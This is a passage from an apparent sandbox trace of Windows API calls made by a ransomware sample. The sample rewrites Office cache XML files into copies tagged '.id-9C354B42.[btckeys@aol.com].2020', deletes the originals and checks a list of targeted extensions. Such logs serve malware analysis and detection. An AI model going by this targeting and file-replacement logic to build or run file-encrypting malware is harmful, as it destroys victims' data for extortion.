GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=2362) returned 1 [0063.421] CloseHandle (hObject=0x190) returned 1 [0063.422] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0063.422] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0063.422] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0063.422] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0063.422] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0063.422] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0063.422] GetLastError () returned 0x0 [0063.422] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x93a, lpOverlapped=0x0) returned 1 [0063.464] WriteFile (in: hFile=0x194, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x940, lpOverlapped=0x0) returned 1 [0063.465] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0063.465] WriteFile (in: hFile=0x194, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0063.465] SetEndOfFile (hFile=0x194) returned 1 [0063.476] CloseHandle (hObject=0x194) returned 1 [0063.482] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0063.483] SetEndOfFile (hFile=0x190) returned 1 [0063.483] CloseHandle (hObject=0x190) returned 1 [0063.483] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0063.483] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0063.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.484] lstrlenW (lpString=".doc") returned 4 [0063.484] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.484] lstrlenW (lpString=".docx") returned 5 [0063.484] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0063.484] lstrlenW (lpString=".pdf") returned 4 [0063.484] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.484] lstrlenW (lpString=".xls") returned 4 [0063.484] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.484] lstrlenW (lpString=".xlsx") returned 5 [0063.484] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0063.484] lstrlenW (lpString=".ppt") returned 4 [0063.484] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.484] lstrlenW (lpString=".zip") returned 4 [0063.484] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.484] lstrlenW (lpString=".rar") returned 4 [0063.484] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.484] lstrlenW (lpString=".bz2") returned 4 [0063.484] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.484] lstrlenW (lpString=".7z") returned 3 [0063.484] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.485] lstrlenW (lpString=".dbf") returned 4 [0063.485] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.485] lstrlenW (lpString=".1cd") returned 4 [0063.486] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.551] lstrlenW (lpString=".jpg") returned 4 [0064.563] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.574] lstrlenW (lpString=".doc") returned 4 [0064.574] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.574] lstrlenW (lpString=".docx") returned 5 [0064.574] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0064.574] lstrlenW (lpString=".pdf") returned 4 [0064.574] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.575] lstrlenW (lpString=".xls") returned 4 [0064.575] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.575] lstrlenW (lpString=".xlsx") returned 5 [0064.575] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0064.575] lstrlenW (lpString=".ppt") returned 4 [0064.575] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.575] lstrlenW (lpString=".zip") returned 4 [0064.575] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.575] lstrlenW (lpString=".rar") returned 4 [0064.575] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.575] lstrlenW (lpString=".bz2") returned 4 [0064.575] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.575] lstrlenW (lpString=".7z") returned 3 [0064.575] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.575] lstrlenW (lpString=".dbf") returned 4 [0064.575] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.575] lstrlenW (lpString=".1cd") returned 4 [0064.575] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.575] lstrlenW (lpString=".jpg") returned 4 [0064.575] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.576] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0064.576] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0064.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0064.968] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=913) returned 1 [0064.968] CloseHandle (hObject=0x16c) returned 1 [0064.968] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0064.968] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0064.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0064.968] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0064.969] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0064.969] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0064.969] GetLastError () returned 0x0 [0064.969] ReadFile (in: hFile=0x16c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x391, lpOverlapped=0x0) returned 1 [0064.973] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0064.974] ReadFile (in: hFile=0x16c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0064.974] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xee, lpOverlapped=0x0) returned 1 [0064.974] SetEndOfFile (hFile=0x188) returned 1 [0064.974] CloseHandle (hObject=0x188) returned 1 [0064.978] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0064.978] SetEndOfFile (hFile=0x16c) returned 1 [0064.978] CloseHandle (hObject=0x16c) returned 1 [0064.978] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0064.978] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0064.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.979] lstrlenW (lpString=".doc") returned 4 [0064.979] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.979] lstrlenW (lpString=".docx") returned 5 [0064.979] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.979] lstrlenW (lpString=".pdf") returned 4 [0064.979] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.979] lstrlenW (lpString=".xls") returned 4 [0064.979] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.979] lstrlenW (lpString=".xlsx") returned 5 [0064.979] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.979] lstrlenW (lpString=".ppt") returned 4 [0064.979] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.979] lstrlenW (lpString=".zip") returned 4 [0064.979] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.979] lstrlenW (lpString=".rar") returned 4 [0064.979] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.979] lstrlenW (lpString=".bz2") returned 4 [0064.979] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.979] lstrlenW (lpString=".7z") returned 3 [0064.979] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.979] lstrlenW (lpString=".dbf") returned 4 [0064.980] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.980] lstrlenW (lpString=".1cd") returned 4 [0064.980] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.980] lstrlenW (lpString=".jpg") returned 4 [0064.980] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.980] lstrlenW (lpString=".doc") returned 4 [0064.980] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.980] lstrlenW (lpString=".docx") returned 5 [0064.980] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.980] lstrlenW (lpString=".pdf") returned 4 [0064.980] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.980] lstrlenW (lpString=".xls") returned 4 [0064.980] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.980] lstrlenW (lpString=".xlsx") returned 5 [0064.980] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.980] lstrlenW (lpString=".ppt") returned 4 [0064.980] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.980] lstrlenW (lpString=".zip") returned 4 [0064.980] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.980] lstrlenW (lpString=".rar") returned 4 [0064.980] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.981] lstrlenW (lpString=".bz2") returned 4 [0064.981] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.981] lstrlenW (lpString=".7z") returned 3 [0064.981] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.981] lstrlenW (lpString=".dbf") returned 4 [0064.981] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.981] lstrlenW (lpString=".1cd") returned 4 [0064.981] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.981] lstrlenW (lpString=".jpg") returned 4 [0064.981] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.981] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0064.981] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0064.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0065.517] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=819) returned 1 [0065.517] CloseHandle (hObject=0x1b8) returned 1 [0065.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0065.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0065.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0065.517] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0065.517] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0065.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0065.518] GetLastError () returned 0x0 [0065.518] ReadFile (in: hFile=0x1b8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x333, lpOverlapped=0x0) returned 1 [0065.520] WriteFile (in: hFile=0x1ac, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x340, lpOverlapped=0x0) returned 1 [0065.521] ReadFile (in: hFile=0x1b8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0065.521] WriteFile (in: hFile=0x1ac, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xf4, lpOverlapped=0x0) returned 1 [0065.521] SetEndOfFile (hFile=0x1ac) returned 1 [0065.521] CloseHandle (hObject=0x1ac) returned 1 [0065.523] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0065.523] SetEndOfFile (hFile=0x1b8) returned 1 [0065.524] CloseHandle (hObject=0x1b8) returned 1 [0065.524] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0065.524] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0065.525] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.525] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.525] lstrlenW (lpString=".doc") returned 4 [0065.525] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.525] lstrlenW (lpString=".docx") returned 5 [0065.525] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0065.525] lstrlenW (lpString=".pdf") returned 4 [0065.525] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.525] lstrlenW (lpString=".xls") returned 4 [0065.525] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.525] lstrlenW (lpString=".xlsx") returned 5 [0065.525] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0065.525] lstrlenW (lpString=".ppt") returned 4 [0065.525] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.525] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.525] lstrlenW (lpString=".zip") returned 4 [0065.525] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.525] lstrlenW (lpString=".rar") returned 4 [0065.525] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.525] lstrlenW (lpString=".bz2") returned 4 [0065.525] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.525] lstrlenW (lpString=".7z") returned 3 [0065.525] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.525] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.526] lstrlenW (lpString=".dbf") returned 4 [0065.526] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.526] lstrlenW (lpString=".1cd") returned 4 [0065.526] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.526] lstrlenW (lpString=".jpg") returned 4 [0065.526] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.526] lstrlenW (lpString=".doc") returned 4 [0065.526] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.526] lstrlenW (lpString=".docx") returned 5 [0065.526] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0065.526] lstrlenW (lpString=".pdf") returned 4 [0065.526] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.526] lstrlenW (lpString=".xls") returned 4 [0065.526] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.526] lstrlenW (lpString=".xlsx") returned 5 [0065.526] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0065.526] lstrlenW (lpString=".ppt") returned 4 [0065.526] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.526] lstrlenW (lpString=".zip") returned 4 [0065.526] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.526] lstrlenW (lpString=".rar") returned 4 [0065.526] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.526] lstrlenW (lpString=".bz2") returned 4 [0065.527] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.527] lstrlenW (lpString=".7z") returned 3 [0065.527] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.527] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.527] lstrlenW (lpString=".dbf") returned 4 [0065.527] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.527] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.527] lstrlenW (lpString=".1cd") returned 4 [0065.527] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.527] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.527] lstrlenW (lpString=".jpg") returned 4 [0065.527] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.527] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0065.527] lstrlenW (lpString="branding.xml") returned 12 [0065.527] CreateFileW (lpFileName="C:\\MSOCache\\All 